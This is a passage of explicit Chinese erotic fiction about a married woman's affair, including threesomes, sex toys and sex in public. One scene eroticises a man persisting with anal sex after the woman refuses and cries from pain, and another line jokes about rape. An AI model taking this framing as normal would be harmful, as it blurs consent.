仰面落在了床上,身上的浴巾也随之散开来,邢力重重压了上来,吻,激吻,持
久而缠绵,这个男人太爱接吻了。

柳玫记得很早以前看过一篇文字,大意是一个女人终于含泪认清了一个事实,
那就是男人不爱她,理由之一便是男人跟他欢爱的时候从来没吻过她。那时候,
柳玫还跟着黯然惆怅,伤心落泪,纯真地想,男人果然是用下半身思考的啊,居
然可以把性和爱分开,不爱还能肌肤相亲说出情话,多么可怕多么不可理喻多么
令人震惊!现在回头想想,不吻就代表不爱,那吻了就说明爱么?吻与不吻,有
时候,就是一种喜好而已,就像有的男人爱大咪咪,有的男人爱细腰,有的男人
爱长腿……而邢力,就是爱吻,到处吻,从上到下,吻到老三不再淡定,起身进
了卫生间,吻到柳玫情欲难抑,娇声连连,求饶地喊:「进来吧,进来吧,小爸
爸,我要你……」

邢力迟迟不进,这时,老三也过来了。

这是柳玫在小电影里看到过多次的场景,这一刻身临其境,两个男人的大手
在自己身体上游走,挑逗着神经的愉悦极限;两个男人的坚硬在身体里进出,轮
番冲击着快乐高峰,柳玫直觉得这快乐越来越多,越来越多,快了,快了,就要
炸了,炸了,爆炸了……欢乐在身体里四处蔓延,舒展……

体验,仅仅是体验,并不是所有的姿势都有快感,也并不是所有的体验都很
让人回味。可是,如果不曾经历,又怎会知道这其中微妙的滋味?就像很久以前,
对于欢爱中的粗话,柳玫不仅说不出口,还本能的有些反感;就像很久很久以前
的纯真年代,柳玫以为性和爱是绝对不能分开的,不爱一个人,怎么能接受身体
与身体的亲密无间?如果说跟不夜天,跟邢力,多少还有着某些情愫,那么,老
三,就只是个陌生的男人了,自己竟也能够喘息呻吟着在他的身下媚态尽显,这
便是纯粹的性了吧!

老三痛快的嘶吼着完成了冲刺,倾泻在柳玫挺立的浑圆上,冲洗回来,又再
次巡视了他钟爱的茂盛丛林,恋恋不舍地先走了,柳玫没有起身,挥一挥手,无
力地躺在邢力怀里懒懒地思绪飘飞。

邢力拿过毛巾轻拭柳玫的身体,说:「宝贝,感觉好么?」

柳玫答:「挺好的!」

邢力把毛巾凑到鼻前夸张地闻了闻,坏坏地笑:「你刚才可是够浪的啊!啊,
我要,爸爸,啊,我要,叔叔……」

柳玫故作一本正经地严肃道:「胡说,我可不是这样随便的人啊!」

邢力笑着接得很快:「这句话果然有道理,你这一随便起来可真的不是人啊!」

柳玫笑着伸脚去踹,却被邢力一把捉住双脚,拉到床边,又一番征战开始
……体验了,方才知道什么才是更令人愉悦的。柳玫更喜欢跟邢力这样一对一的
调情缠绵,可猛烈,可舒缓,怎样都好,情到浓时湿,爱到深处直……在欢爱过
后的余味中,邢力总是生出相见恨晚的感叹:「你看,我们多么相配啊!」柳玫
淡淡地笑,邢力有关相配的感叹只是对性爱而言,他的妻子这么多年,虽然有过
交友的经历,仍然反感他激情时刻的粗口和那些淫乱的YY,这常常冷却了他求
欢的性致,用他的话说,还不如自己一个人看着小电影和情色的文字会会五姑娘,
想YY谁都可以!

就像柳玫有着一颗不安分的心,愿意跟着邢力这样一个男人去体验性之所致
的激情,比如,深夜时分的电梯里,人烟稀少的公园里,即使在家里,做饭的厨
房里,看电视的沙发上,两个人的独处里,一旦性致被撩拨起来了,就应该尽情
尽兴的去投入去享受一场场身体的欢愉。可是,爱人却不是这样肆意张扬的个性,
传统而内敛,发现柳玫看点情色文字或电影都要大惊小怪着阻止的,在他看来,
有些事男人可为,女人却不行!

邢力对于柳玫而言,就像一个引路者,在性爱的体验里,一步步探行,而柳
玫就像一个天赋异禀资质上乘的习武奇才,总能在极短的时间内就能领悟并起而
反攻,邢力不得不感叹地称赞:「宝贝,你真是一个尤物!」

柳玫站在办公室大大的玻璃窗前,喝一口茶,想起邢力的这句赞叹,看着街
面上熙熙囔囔来往的人群,在想,那里面,得有多少像自己这样的尤物啊!这样
的尤物,通常在人前端庄大方,贤良温婉,不跟流言蜚语沾边儿。

对柳玫来说,那些新进的大学生们,阳光青春,神采飞扬,也有过那么几个
讨喜的喜欢亲近柳玫的;那些常常交往的老男人们,成熟稳重,幽默开朗,也有
过那么一些玩笑中暗示明示的暧昧。自然也有令人心动的,只是柳玫总留出得宜
的合适的距离,工作的关系,还是越简单越好!

而真正的内心念头呢?如若愿意对自己诚实一点,便会发现,刚才在副总办
公室汇报工作的时候,有那么一瞬间的晃神,这一瞬间,柳玫的思绪是在副总那
张偌大的办公桌上的:午后煦暖的阳光从玻璃窗倾泻在办公桌上,一个职业西装
套裙的女人弯腰俯身,短短的裙被一双男人的大手轻轻的推及腰部,露出的臀部
曲线,和黑色的小T……副总正是柳玫喜欢的那种类型的男人,清爽干净,有着
太阳般的温暖,在副总没有成为副总之前,大家都是关系比较近的同事,大柳玫
十几岁,工作上,对柳玫有着亦师亦兄的引领,在副总成为副总之后,除了称呼
上的变化,亲近感倒也没有减少。

柳玫有时候忍不住会想:如果自己真像邢力说的那样是个尤物,有着令男人
着迷的风情,遇着合适的机会,小试牛刀,这个跟邢力差不多年纪的男人,不知
道会是怎样的反应?

想归想,最终,柳玫还是优雅知性的转身离开了副总的办公室,轻轻地带上
门。

都说男人好色,女人也不例外,不同的是,男人可能更主动直接,而女人更
习惯于给自己定原则,同学不行,同事不好,朋友不能,害羞也罢,谨慎也好,
总之是自己否定了自己的念想。那些值得心动的场景,只能在某个自己抚慰自己
的时刻,作为一个YY的幻想罢了。这些一闪念的晃神,永远只是心里的旖旎幻
想。当然,偶尔,可以跟邢力说说,而这,总是会刺激得这个有绿帽情结的男人,
愈战愈勇……跟邢力每隔几天都会见上一面,这样的频率柳玫也觉得刚刚好,不
见的时候各自忙碌,任情绪发酵,相见的时候便激情迸发,天翻地覆,认识邢力,
柳玫相信原来真的有走路扶墙的情形。

原本约好的下午见面,柳玫安排好了一切,情绪也酝酿到位,邢力突然电话
说改天见面。

柳玫情绪猛然跌落,也不想问原因,只恹恹地说:「哦」

邢力解释:「姐姐家换太阳能,下午送,家里没人,让帮忙候着工人来装。」

柳玫照旧情绪不高:「哦」

邢力继续解释:「媳妇接的电话,知道我这段闲着没什么正事儿,替我答应
的。」

柳玫依然:「哦」

邢力继续:「明天再见?」

柳玫答:「好」

邢力不习惯地问:「骚劲儿哪去了?这么没精打采的。」

柳玫嘟着嘴:「想你见不到你啊」

邢力开心地笑:「我也想你啊宝贝」

柳玫继续:「嗯」

邢力受不了地说:「求求你了姑奶奶,多说几个字行不行?」

柳玫继续:「行」

邢力突然改了决定,说:「不管了,一会打电话找个借口推了,宝贝,下午
见,」

柳玫一时没反应过来惊讶道:「啊,不是明天见么?有时间出得来?」

邢力哈哈大笑道:「这下有精神了吧,你这个折磨人的小妖精。」

柳玫调笑的心情突然就回来了:「那是,要是插头插了,会更有精神的。」

这倒让邢力起了坏主意。

柳玫进入房间,接受了邢力热情地热吻迎接式,雪纺的黑色短袖小开衫早在
激吻时便被邢力顺带着给褪下了扔在床上,白色的及膝吊带短裙的吊带也被拉到
了胳膊,移步到床边,邢力正欲探手去扯柳玫的底裤,柳玫看到了枕边放着的肉
粉色的玩具,问:「带这干嘛?」

邢力坏笑:「你电话里说插头,我突然想起你说过从没尝试过电动的……」

柳玫好奇地摸摸,一会试试大棒棒,一会试试小蛋蛋,有点兴奋:「还挺有
弹性呵」

邢力拉柳玫起来去卫生间:「我们先去洗洗,等会让你好好感觉感觉」

邢力在这一点上总是温柔有加的,每次都是体贴仔细的从调水温开始,照顾
到出浴擦拭,两人在卫生间相互涂满浴液,抚摸着舔吻着嬉戏,这样看似温情的
抚慰,也足够令人潮湿。

邢力牵着柳玫的手来到床边,把轻轻的压倒柳玫,轻轻地分开柳玫的腿,说:
「宝贝,先让我这个插头试试效果。」

随着邢力的挺进,柳玫呻吟出声:「哦……」

邢力笑:「啊,果然接通电源,就有声了。」

柳玫抚上胸前的咪咪,一手按住一个,说:「这是音响,调好了,声音更响
…啊…啊……」

邢力猛力一顶,道:「哦,你这个妖精」

柳玫不依:「哪里妖了呀?」

邢力笑:「我也不知道哪里,反正是迷上你了。电话里我一听活蹦乱跳的小
妖精这么没精打采,就想让你高兴。」

柳玫心底某处染上了湿意,柔柔地漾开来,开心地环上邢力的脖子,拉低他
的头,主动吻上他的唇,抬高臀部迎合他的奋力冲击……身,心,都潮湿了,愉
悦的顶峰还会远么?

在对高潮的回味里,邢力搂着柳玫躺着聊天,手却不安分的操控着枕边的电
动玩具,吻着的时候,趁柳玫不注意把小跳蛋塞了进去,毫无征兆地突然有东西
在身体里震动,酥酥麻麻的,柳玫的身体禁不住跟着颤动,溪流潺潺,这是女人
最敏感的柔软,一下一下的轻触,加上身体里不断的震动,柳玫受不了这双重的
刺激,竟然第一次在这么短的时间里飞上了欢乐的云霄,抽搐,收紧,像是要把
这塞进身体里的小东西淹没,吸入……当柳玫的身体和意识从云端渐渐回到床上
的时候,邢力不给喘息的机会,紧跟着翻转柳玫的身体,那个震动着的小东西带
着晶亮的液体被送进了另一扇门,这道从不曾有人开启的门啊,是如此的紧涩,
又如此地敏感,柳玫有些不适地抗拒,却被邢力舌尖的温柔阻止了,邢力的舌尖
轻轻地抚慰着后门的不适,柳玫紧绷的神经渐渐松弛了下来,可是,另一种被填
充的肿胀的感觉立刻遍布全身,比起邢力的又硬了许多。

在邢力的操控下,这个大大的宝贝就那样肆无忌惮不知深浅不知疲惫的进进
出出,让柳玫有些癫狂地叫囔……柳玫终于受不了的俯卧在床上,邢力放下玩具,
轻轻地趴上背,探入,柳玫侧过头,迎接他雨点般的吻,邢力的下巴抵在柳玫的
肩头,轻咬着柳玫的耳垂,缓缓地律动,问:「感觉如何?宝贝」

柳玫答:「受不了,还是真的舒服。」

邢力笑:「不是越大越好么?」

柳玫笑:「不在大小,能硬就好」

邢力抬身啪啪拍了柳玫两巴掌,加快了速度:「内盘,硬才是王道!」

作为情趣尝试,这样的工具自然也有它的美妙,可是,再大再硬,又如何能
敌得过两人相互间的嬉闹调笑?一个深情相拥,一个甜蜜亲吻,一个会心微笑,
在身体潮湿的时候,心情也跟着潮湿了……分别的时候,邢力把柳玫紧紧地抵在
门上,覆上缠绵而激烈的吻,喘息着说:「刚才好想从后门进的,怕你受不了。」

柳玫搂着邢力的脖子,踮起脚碰一碰他的鼻尖,可怜兮兮地说:「幸好没有,
今天已经要走路扶墙了啊」

邢力哈哈大笑,给柳玫开门,居然轻哼起熟悉的歌曲,柳玫仔细一听,居然
是:「菊花残,满腚伤……」

这个流氓!

邢力的强势和霸道在于要做的事,总不轻言放弃。再见面时,忍不住便要尝
试,柳玫可怜兮兮地拒绝:「不要,爸爸,会满腚伤的」

邢力抚上柳玫挺翘的臀部,道:「乖女儿,没事,爸爸的吻疗效很神奇的」

柳玫下意识的神经绷紧,邢力哈哈笑着吻上了柳玫的唇,说:「傻女儿,你
以为说干就干啊。」

这个吻霸道而细致,吻软了柳玫的刚刚紧绷的神经,渐渐地,渐渐地,迷失
在邢力双手的爱抚和唇舌的挑逗里。

邢力知道柳玫对于后进的敏感,于是,扶着浴室的墙挺进,到撑伏在洗手台
上,洗手台圆形的镜面里撞击的身影,刺激了柳玫羞涩而澎湃的激情,溪流的源
头潺潺而下。

邢力放慢了速度,搂着柳玫推动着往房间慢慢挪移,跪爬在床边,到俯卧在
床上,始终,接连着身体,带着不可阻挡的气势冲击着柳玫愉悦的极限,在柳玫
意乱情迷,身体泛滥里,转移阵地,悄悄探入了后门。那一推动的不适拉回了柳
玫的意识,腰肢不再扭动,臀部不再迎合,呻吟不再曲折。

带着轻轻的求饶:「哦,不,不要」

邢力停止了前进,伸手到胸前轻抚柳玫的依然颤动的浑圆,轻轻地吻着柳玫
的背,说:「好,乖,不了,不了」

邢力的唇游移在柳玫渐渐放松的身体上,脖子,肩胛,轻轻的摩挲,柳玫爱
死了这样的感觉,温存而缠绵,渐渐沉溺……邢力一使劲,又往前推进了一程,
柳玫回过神来,反手掐邢力撑在床上的胳膊:「坏蛋,疼,不来了,不来了」

柳玫的喊痛和求饶刺激了邢力的战斗力,似是想勇往直前,一探到底,柳玫
不自觉地身体前移,前移,前移,邢力紧跟,紧跟,紧跟,一点点的探入,一点
点的刺痛,柳玫叫喊着疼啊,邢力喘息地安慰着乖啊一会就不疼了就不疼了…
…尽管叫着痛,但柳玫还是带着一丝刻意的隐忍想成全邢力的探索,可是,可是,
邢力的实在太粗大,柳玫实在忍受不了的要抽离身体,邢力看柳玫反应如此强烈,
终于还是半途而废,放弃了探索。扯过毛巾,擦拭柳玫额头的汗水,和不知何时
疼哭的泪水,把柳玫搂在怀里,轻抚小受摧残的菊花,邢力的柔情,让柳玫有些
歉意,主动提议:「要不再试试?」

邢力笑:「你叫那么大声,我怕再试酒店保安要冲进来了」

柳玫不依地轻咬了一口邢力的胳膊:「讨厌,真的很疼的!」

邢力坏坏地笑:「等开发出来,你会爱上这种感觉的。」

柳玫使劲掐了一把邢力的胳膊,伸手拿床头柜上的手机看时间,有一个未接
来电和一条未读短信,刚刚竟是没有听到铃声响的,电话和短信都是不夜天的。

柳玫禁不住轻笑,这家伙,在网上聊天的时候,不止一次的强调最好不要打
电话和发信息,如果意外碰面了,也最好不要说话装不认识,柳玫总是不置可否
地笑笑。真是什么话都是被他给说了,互留电话是他提出的,常常一阵网上见不
到柳玫,发短信的是他,短信没有回应,打电话的也是他,柳玫就想不出有什么
必要轮到他给自己强调这个提醒那个。不过,当不夜天这般要求提醒的时候,柳
玫总是不忍太尖刻,只是玩笑地说:「放心,你穿上衣服的样子,我都认不出的。」

与之相比,邢力就坦然得多,没见面的时候便对柳玫说:「宝贝,想我随时
短信,方便了给你电话。」大家都是成年人,时间分寸总会把握的,自然不会随
时随地就短信,可是,邢力这样说,以一种欢迎骚扰的姿态令柳玫开心无比。

柳玫看看自己回复的信息,忍不住笑。

不夜天问:「在干吗?」

柳玫回:「在干!」

邢力看柳玫笑,问:「谁的信息?」

柳玫伸过手机给他看不夜天的短信并告诉他怎么回的,邢力笑着捏捏柳玫的
鼻子:「你呀,真是个小妖精,小李还是很有心灵感应的嘛。」

不夜天直接拨了电话过来,以一种无比兴奋的口气问:「在哪干?跟谁?」

柳玫跟邢力的约会对不夜天采取的态度是不问不说,问了不瞒。不过柳玫想
逗逗他,故意说:「当然是跟男人,目前还在床上,一会不知在哪干」

这边的邢力听柳玫跟不夜天电话里调起情来,也抑制不住地再次兴奋起来,
轻轻的翻转柳玫的身体,俯身趴上她的背,长驱直入,过分饱胀的填充感令柳玫
压抑不住地呻吟出声来,柳玫尽量压制着,不让不夜天听到,邢力却是故意要让
不夜天听到似的故意顶撞,柳玫不叫他誓不罢休,终于,让不夜天在电话里听得
着急起来,愈加兴奋地追问:「在哪?房号?」大有要加入战争的劲头。

柳玫把电话给了邢力,任他决定,邢力说了房号,也说了一会得走,有事儿,
很显然,又交给不夜天自己决定了。

两人刚结束战斗,在冲洗,不夜天便敲门了,邢力擦干穿衣去开门,柳玫接
着沐浴,听到不夜天跟着邢力进了门,没出去,邢力居然冲浴室喊了一句:「宝
贝,来客人了!」

不夜天跟着接道:「还不出来接客!」

柳玫心里骂,俩个流氓!不理他们,径自洗好擦好,挽好头发,裹着浴巾出
来,邢力已经穿好衣服,不夜天也是衣着整齐,这让柳玫突然不好意思起来,因
此,取了衣服,就想赶紧进卫生间换上,邢力却一把拉住,取过内衣帮柳玫穿起
来,扣上,柳玫便也顺势站在床边穿好内内,咖啡暗花的连衣裙,以及黑色长丝
袜,穿上高跟鞋,这才感觉自然了,坐在笑着看不夜天,说:「你怎么跑出来了?
不上班?」

不夜天坏坏地笑:「还不是你电话里叫的人受不了」

柳玫被不夜天说得有些不好意思,用脚踢踢邢力:「怪他,他故意的!」

邢力呵呵笑,跟不夜天随意聊起了一些近况,想来他们也是好久没见面了。
柳玫突然觉得不知如何跟这两个自己都熟悉的男人共同相处了,看他们抽着烟,
聊得热闹,看看时间,也该回去了。

邢力也看看时间,说:「我一会也走,去医院看病人,再坐会吧,小李刚来
呢」

于是,柳玫便听他们聊,从病人说到护士,说到,说到种种性爱,说起了欢
爱中,女人的种种,不夜天说:「有的女人特爱笑,咯咯地笑得人发麻,干不下
去。」

邢力笑着赞同。

柳玫不解地说:「笑着说明开心,总比哭着不让干有感觉吧?」

邢力却说:「错,哭喊着倒更刺激,就像刚才……」

柳玫知道他指开始那段,气得用脚踢了过去,忍不住骂道:「NND,求饶
倒求坏了,看来要是哪天真遇到歹徒劫色,还不能哭喊着反抗了,就主动往那一
躺,开心地咯咯笑着,来吧来吧,记得带套啊,没准就把那些劫色的混蛋吓跑了!」

不夜天跟邢力都被逗笑了,房间里,也多了一些些暧昧的氛围。

不夜天起身过来坐到柳玫另一边,来了精神,追问:「刚才怎么了?」

邢力遗憾地说:「后门,她太怕疼,没成!」

柳玫掐了一把邢力,看看时间,征询邢力意见:「时间差不多了,你俩再聊
会,我先走?」

邢力拉住了,说:「你走了,我们有什么好聊的。」

不夜天也起身站到了柳玫身前,指指自己支起的帐篷,问:「你走了,怎么
办?」

柳玫看看邢力,看看不夜天,犹豫了,这是自己最初的设想,两个自己都熟
悉亲近的男人,疼爱着自己,可是,这一幕真的来临,柳玫竟不知该如何表现,
还是邢力作主把不夜天推进了卫生间,自己则吻上了柳玫,牵柳玫的手探向自己,
说:「宝贝,我又兴奋了!」

不夜天很快出来,……终于,终于,终于不夜天濒临崩溃的边缘,柳玫及时
撤开,不满地看柳玫,柳玫知道他是想释放在她嘴里的,可是,她本能的抗拒,
关键时刻,闪开了。这让不夜天很不高兴,在后来的聊天里,几次提到这个细节。

柳玫笑笑,没有解释,不想就是不想,倒不是不能接受男人的液体,跟爱人
缠绵的时候,也曾不止一次的口爱,也曾不止一次地全部吞咽,柳玫是个不拘于
传统观念的女人,对她来说,情到浓时,没有什么不可以!而不夜天呢,既没有
征服她的身体,也从来没有温情体贴地让她从心里觉得不舍和依恋。是以,这个
男人,激发不了她的柔情万种温婉体贴。这时这刻,既然没有爱意缠绵身心迷离,
何必为了他的满意委屈自己承欢?

不夜天起身收拾了自己的残局,柳玫也穿戴整齐,因为是邢力先到开的房,
他得去前台结账,不夜天可以跟柳玫一块走,但不夜天已经安排了:「我先走啊,
你等会。」

柳玫笑笑,不语,他总是这样,一次聊天,柳玫想起中午吃饭的时候一个身
影跟他很像,就随口问他是不是穿着什么衣服在哪吃的饭?他立即很严肃地强调
以后在公开场合看到也不要打招呼说认识啊!呵,谨慎,安全,同时,也让人生
了距离。

不夜天走了,柳玫稍等,邢力刚好也收拾好了,说:「等我,一起走!」

邢力过来,递给柳玫一只耳环,柳玫接过,啊了一声,摸摸右耳,不知什么
时候掉了也不知道呢。邢力帮柳玫戴上,抵着柳玫在衣橱门上,低头,吻,从耳
垂,到脸颊,到唇,探入,深深深深地吻,柳玫推开他,喘息,邢力坏笑着看柳
玫:「还有小李的味道!」

柳玫咬一口他的唇,再用舌轻舔,说:「你不就喜欢戴绿帽子么?」

邢力紧紧抱着柳玫,叹口气道:「喜欢!看到你亲他,开始的倦累都没了,
兴奋无比。」

柳玫掐一把他的腰,骂:「大乌龟!」

邢力也不生气,倒呵呵笑,建议道:「不过,宝贝,以后再想三人,也不找
小李了吧?」

柳玫不解地问:「怎么了?不是你真正意义的三人?」

邢力叹口气无奈道:「是他的话,我会晃神,到底是我干他的女人,还是他
干我的女人?」

柳玫坏笑着摸一把邢力又悄然抬头的宝贝,嘻笑道:「我谁也不是的,我是
我自己的!」

邢力拥着柳玫开门,霸道地宣称:「不管你是谁的,我要让你成为我的女人!」

邢力的出现,柳玫的生活有了变化,又似没有变化,照旧上班下班,遇到邢
力邀约的时候,找个理由翘班离开两三小时,到了下班时间按点回去,邢力的邀
约不会太勤,刚刚好。但是身边的朋友同事不时会说,啊,你最近气色很好,啊,
这身衣服你穿起得好有味道,啊,你越来越有朝气的样子……于是,柳玫便自己
打量自己,有么?这一阵有些忙闲逛的时间很少,并有添什么新衣,也没有特别
去做皮肤护理啊,可是,镜子里的那张脸,确实是顾盼生姿,眼波流转的。也许,
变化的只是心境吧,在琐碎的生活里,心里有了念想,便生出无数的灵动和欢愉
来。邢力像是一把打开柳玫身体的钥匙,那些无从诉说深埋心底的私密幻想,甚
或只是偶尔的某一闪念,在跟邢力的聊天中,不知不觉地就具体形象起来,在暧
昧迷离的酒吧卫生间里,在深夜无人的电梯里,在摩天大楼的落地窗前……当这
些场景被用文字描述出来的时候,柳玫自己都觉得惊讶,原来,在内心深处,自
己竟有着这么多期待体验的渴望。这是一向温婉端庄的自己么?可是,这些感受
与心情说与邢力的时候,却是那么的自然,他听得自然,表现得自然,柳玫竟也
畅想得自然。

柳玫跟网上的好友苏苏聊过很多关于男人与女人的话题。最近聊到的就是关
于男人的分类,苏苏是个专栏作家,善于理论分析,她把男人归为三类:第一类
是光说不练型,这类男人在交流的时候,侃侃而谈,或幽默风趣,或真诚可爱,
而且有意无意地总喜欢打擦边球,暗喻两性,再正常不过的聊天,比如问「在忙
什么呢?」女人说:「干活,洗衣服呢」他会问:「谁弄脏的?」如果女人说:
「不忙呀,闲着呢」他又会说:「不找个人忙一会?」总是这样玩笑着,撩拨着,
不真不假着,聊得热起来的时候也半夜不睡,白天继续的,可是,当女人不自觉
地有了撒赖娇嗔的感觉偶尔黏糊一下的时候,他又一下跳开,拉出哥哥妹妹的距
离。第二类是光练不说型,这类男人常常言语不多,不善表达,隔着距离女人根
本无从感受那份细腻的体贴和温情,但是如果有机会在一起了,倒是勇猛激烈,
也颇多缠绵的。第三类是又练又说型,这类男人有第一类的幽默诙谐,不见的时
候调情挑逗;又有第二类的勇猛实干,相见的时候激情缱绻。

柳玫对照苏苏的分析,邢力自然要放在第三类了。也许很多人会说,第三类
也不是很难得啊,又说又练并不是多难,难的是,这样的男人有一颗包容甚至纵
容的心对你。

这个话题让柳玫想起了张之北,这个男人有着文人的才情和文思,也有着文
人的激情和冲动。张之北是能说的,让柳玫不知不觉间就渐渐陷入,也是会练的,
千里迢迢突然会说我订票去看你然后出现在你面前。因为分隔两个城市,常有不
能想见就见的遗憾,很热乎的那一段,问柳玫愿不愿意去他的城市工作,他可以
帮忙。不管真假,这样的热切和真诚,柳玫不能不感动的。可是对柳玫来说,这
样婚外的游离只是生活的增色,不应该跟利益沾边,也不应该影响原有的生活轨
迹,假使自己真想去他那个所谓更好的城市工作生活,也应该是自己想办法解决
的事。

张之北说起缘聚缘散,也总是以一种洒脱成熟的姿态出现的。玩笑地说,柳
玫,你可以有别的男人,反正我也看不到管不了,我只当自行车被别人借去骑了
一圈,总还是要还回来的!只是落到行动上,总免不了斤斤计较。会追问柳玫在
哪玩?跟谁一起?是不是又结识了新的男人?也曾多次说到过三人,不过谁也不
当真去实施,柳玫有时候恶作剧地想:真要有另一个男人当着张之北的面干自己,
不知道他是压根就硬不起来脸黑着一直到结束,还是临阵反悔弄走那个男人狠狠
地惩罚自己居然真的愿意让另一个男人干?

后来,张之北跟柳玫提出借点钱用,这样的情感里扯上金钱,是柳玫不喜欢
的,便拒绝了,她怕他借的数目太多,她能力不够,也怕他说的数目太少,她心
里不堪。自然,两人关系便淡了下来。

很久之后,张之北主动联络,说:「其实跟你借钱只是考验考验你对我的感
情,谁知你根本经不起考验。」

柳玫看着他遗憾的神情,无言笑笑,心里觉不出有什么好遗憾的。也许他跟
别的女人的交往里被欺骗过?你有钱没钱跟我有什么关系呢?有什么好考验的呢?
感觉对了便在一起,感觉变味自然要分开。

张之北似乎下定了决心似的说:「经不起就经不起吧,还是跟你在一起最简
单快乐。要不,我们和好吧?」

柳玫依旧不置可否地笑,不知如何回答他。这个男人看起来也是经历了风霜,
生意几经起落,怎么会不明白人跟人之间的缘分,错过了就错过了呢?

张之北追问:「你给句痛快话,行,还是不行?」

柳玫只好干脆地说:「我看还是算了吧!」

做不成情人,自然也没必要再打着做朋友的旗号暧昧下去。张之北要求柳玫
拉黑跟他有关的一切信息,柳玫如他所愿。

张之北可算是又说又做的,可是,并不是柳玫想要的简单快乐,他总是混淆
了婚内婚外的界限。而邢力,总是清楚柳玫想要的是什么,不想提的是什么。

柳玫总是翘班跟邢力幽会两三小时,最想要的便是什么时候两人可以多一些
时间在一起,这样,时间从容,便可以在欢爱之外,还可以有些其他的相处。柳
玫希望有关两人的回忆里,不只有床上的镜头。

可是,邢力长年在外,难得回家,应该多做些家事,多陪陪孩子妻子,不能
整天在外晃悠。这一点,柳玫是理解,也喜欢的,只顾自己,不管家人的男人,
倒教人看不上了。柳玫自己也是上班之外的时间都放在孩子身上,不管孩子,独
自偷欢,柳玫也是做不到的。因此,想要整段的长时间在一起,看起来多简单的
事,其实很难。

很难,却不等于不可能。

一天,邢力在电话里开心地说:「乖宝贝,她出差了,怕我照顾不仔细,孩
子也让老人管了,从现在起,我一个人。两天一夜,听你调遣啊。」

柳玫惊讶:「啊,我要去省城参加一个培训呢,一会就走的,车子等着了都。」

邢力懊恼得很:「怎么这么巧呢?」

柳玫也遗憾:「就是呀,难得大家都自由,却要分隔两地了。」

同事电话进来催,柳玫匆匆挂了电话。

一路发着短信调情,到了省城,在培训的酒店安顿好,第二天才开始培训,
跟同事午餐后回房,邢力居然来电话说也过来了,刚下火车,柳玫惊喜无限,说
了酒店和房号,开始甜蜜等待。

邢力却迟迟没来敲门,柳玫打过电话,调笑地问:「我都洗好脱光等你啦,
怎么还没来?」

其时,邢力正倒在床上,舒服地叹了一口气:「啊,正准备给你打电话呢,
这么心有灵犀啊宝贝,刚开好房间进来放下东西,你电话就来了」

柳玫惊讶:「啊,又开了房间?」、

邢力笑:「是呀,在你楼上,1107,上来吧,去你房间怕你同事看到不
好。」

老男人的细致让柳玫觉得贴心,拿了手机房卡就上了楼,关上门的时候,看
到对门的同来的两个小姑娘正笑闹着出来,两人一个是前年,一个是去年进的公
司,在同进人员中都是表现最出色的,这次得以跟柳玫一起过来,说是培训,也
只是听几次课,大多时间都是娱乐,主办单位安排了两个房间,自然,作为部门
小主管,柳玫独享一间,这俩小姑娘平时关系就不错,倒也乐得作伴。

两人兴高采烈地,问柳玫:「柳姐,我们去逛街,一起吧?」

柳玫笑着摇摇头:「不了,我就在附近走走,有点累。」

看着同事坐着电梯下去,柳玫从楼梯上了一层,到了邢力房间,轻敲了只一
下,门便被打开了。邢力一把拉进柳玫:「这么久?刚才不是真脱光了吧?」

柳玫笑着抱紧邢力的腰,偎进邢力怀里,说:「逗你玩呢,碰到同事说了几
句话,你怎么跑来了?」

邢力的吻,覆上了柳玫的唇:「又不远,你不是一直想要多些时间在一起么?
多好的机会,爸爸当然地满足女人的心愿啊!」

柳玫的心里染上了无法言说的温柔,用心地回吻这个不自不觉间已经令她慢
慢慢慢放进心里的男人,他从来不预支誓言说我要怎样怎样对你的话,但是,却
总是在有机会能做到的时候自然而然地就去做了。与其承诺不能兑现去说对不起,
不如抓住机会突然做了再说没什么。

这个午后柳玫懒懒地赖在邢力的房间,就连激情,都是温存而缠绵的,柳玫
偎在邢力的怀里,两人同向而卧,邢力伸手抚摸着柳玫的咪咪,柳玫轻轻抬起右
腿,任邢力或快或慢的推进,身心愉悦……然后,便一直那样相拥着,谁也不想
动,说了无数无数的话,性起了,便缠绵一会儿,累了,便相拥着入眠,不知不
觉,窗外的光线便暗了下来,看看手机,竟是晚饭时间了。

柳玫的电话适时响了起来,是同事喊吃饭,柳玫看看邢力,说:「你们去吃
吧,我晚上跟朋友聚聚。」

邢力笑:「去哪聚?」

柳玫说:「我也不知道呢,来了好多次,但还不是太熟」

邢力说:「不熟啊,不熟就好办了,那跟着我混吧。」

柳玫跟着邢力出了酒店,打车,邢力指挥司机抄近路去了省城财经大学的老
校区西门,牵着疑惑的柳玫站在了一家店面不大,却清爽干净的小吃店前,啊,
鸭血粉丝,好几年没吃了,柳玫看着这红底白字的小店招牌都有些垂涎欲滴了。

邢力笑:「我上学时候,这里还没这么像样呢,很简陋的几张桌子几条凳子。
女生好像特别喜欢,经常排长队等的。」

柳玫惊讶:「你上大学?都多少年了啊!」

邢力说:「去年送我侄女报到发现这家店还在,我也惊讶呢。记得你说过爱
吃,突然想到就带你来了。」

又是突然想到就做了,很简单的晚餐,很少的花费,却让柳玫心里有满满的
温情,这个老男人,让柳玫不知不觉地,在性之外,有了更多的依恋之情。

饭后,柳玫跟着邢力走进了校园,看着那些稚气未脱的男孩女孩们甜甜蜜蜜
的拥抱或牵手,柳玫也主动挽起了邢力,邢力指指树影下,一对正吻得不可开交
的小家伙,坏笑着:「要不要也学一下?」

柳玫踮起脚尖,拉下邢力的头,亲啄了一下,又笑着跳开了。邢力不依,牵
起柳玫的手,拐进了操场,柳玫猜想邢力上学时候也不是省油的灯,哪黑往哪钻,
没一会儿吧,把柳玫带到了一个栏杆边,定睛细看,这是操场跟旁边篮球场的连
接处,有微微的灯光照射,篮球场上还有几个男生在打篮球,操场上也有几个人
在跑步,跑道边上,还散落坐着一些人,不知运动累了休息还是本来就坐那闲聊
的。

九月,不冷不热的天气,柳玫还光腿穿着裙子,被邢力压在栏杆处,狠狠吻
了下来,边吻还边探入裙子摸索起来,探到内内的边缘,啊,竟一把往下扯,柳
玫下意识的夹紧双腿,不让扯,邢力在耳边轻轻诱惑:「没事儿,宝贝,看不清
的,这么暗」

柳玫竟听话的轻轻抬脚配合他脱下了内内,邢力顺手把它塞进了裤兜,晚风
吹来,吹起一角裙摆,柳玫轻呼:「啊,好凉」

邢力笑着把柳玫的身体翻转过来,柳玫抓着栏杆。微微抬臀,邢力把柳玫的
及膝的短裙往上推,配合默契地,一下便进去了。柳玫忍不住一声呻吟,这样的
环境,人的心理刺激远大于身体刺激,虽然身后有邢力的遮挡,但是前面,几米
外,几个年轻的男孩正挥汗如雨地发泄着他们旺盛的体力,如果有心看,还是能
看到这边一男一女在做些什么的,这让柳玫呼吸都是紧张的,再加上邢力一出一
